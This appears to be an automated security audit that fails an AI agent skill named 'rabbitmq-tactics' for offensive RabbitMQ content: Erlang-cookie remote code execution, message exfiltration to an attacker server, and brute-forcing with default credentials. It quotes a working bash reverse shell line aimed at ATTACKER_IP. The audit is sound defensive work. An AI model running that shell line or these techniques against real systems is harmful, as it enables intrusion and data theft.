rabbitmq-tactics
Fail
Audited by Gen Agent Trust Hub on Aug 12, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for obtaining Remote Code Execution (RCE) by exploiting the Erlang distribution protocol used by RabbitMQ. It includes a specific Bash reverse shell payload:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. It also details how to use Erlang'srpc:callandos:cmdfunctions via an Erlang shell to execute arbitrary system commands on the host machine using stolen Erlang Cookies. - [DATA_EXFILTRATION]: The skill describes multiple methods for exfiltrating sensitive message data. This includes bulk exporting queue contents via the Management API to local JSON files and configuring the RabbitMQ
ShovelandFederationplugins to transparently forward real-time message traffic to an attacker-controlled external server atamqp://ATTACKER_IP. - [COMMAND_EXECUTION]: The skill instructs the agent to execute numerous high-risk command-line tools for exploitation, including
hydraandnmapfor automated credential brute-forcing, anderlandrabbitmqctlfor interacting with the Erlang runtime to manipulate the target system. - [CREDENTIALS_UNSAFE]: The documentation includes hardcoded default and weak credentials for testing RabbitMQ instances, such as
guest:guest,admin:123456, andrabbitmq:rabbitmq. It provides automated shell scripts to iterate through these credential sets against the target's Management API. - [EXTERNAL_DOWNLOADS]: The skill directs the agent to download the
rabbitmqadminCLI tool from the target server's management interface (http://TARGET:15672/cli/rabbitmqadmin) and execute it with modified permissions (chmod +x).
Recommendations
- AI detected serious security threats
Audit Metadata